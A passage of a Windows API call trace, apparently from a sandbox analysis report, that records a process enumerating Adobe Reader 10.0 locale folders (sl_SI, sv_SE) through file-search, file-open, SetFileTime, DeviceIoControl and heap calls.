lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.SLV", cAlternateFileName="")) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.SLV", cAlternateFileName="")) returned 1 [0082.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.SLV", cAlternateFileName="")) returned 1 [0082.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807571a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x146000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.SLV", cAlternateFileName="")) returned 1 [0082.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.SLV", cAlternateFileName="")) returned 1 [0082.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.SLV", cAlternateFileName="")) returned 1 [0082.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.SLV", cAlternateFileName="")) returned 1 [0082.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.SLV", cAlternateFileName="")) returned 1 [0082.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.SLV", cAlternateFileName="")) returned 1 [0082.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.630] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.630] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.630] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.631] NtClose (Handle=0x16c) returned 0x0 [0082.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1291898) returned 1 [0082.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1291898 [0082.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12919a0 [0082.632] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.632] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.632] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9103, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1291aa8 [0082.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213ba0 [0082.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1291bb0 [0082.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.634] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213bc0 [0082.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1291cb8 [0082.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7100) returned 0x129aff0 [0082.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293f28) returned 1 [0082.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.636] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.636] GetLastError () returned 0x12 [0082.636] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.636] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9103, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.636] GetLastError () returned 0x12 [0082.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12919a0) returned 1 [0082.636] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1291aa8) returned 1 [0082.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1291898) returned 1 [0082.637] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SLV", cAlternateFileName="")) returned 1 [0082.637] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.SLV", cAlternateFileName="")) returned 1 [0082.637] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SLV", cAlternateFileName="")) returned 1 [0082.637] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SLV", cAlternateFileName="")) returned 0 [0082.637] GetLastError () returned 0x12 [0082.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.637] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.638] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0082.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.638] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.638] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.639] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.639] NtClose (Handle=0x174) returned 0x0 [0082.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.640] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.641] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.641] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, 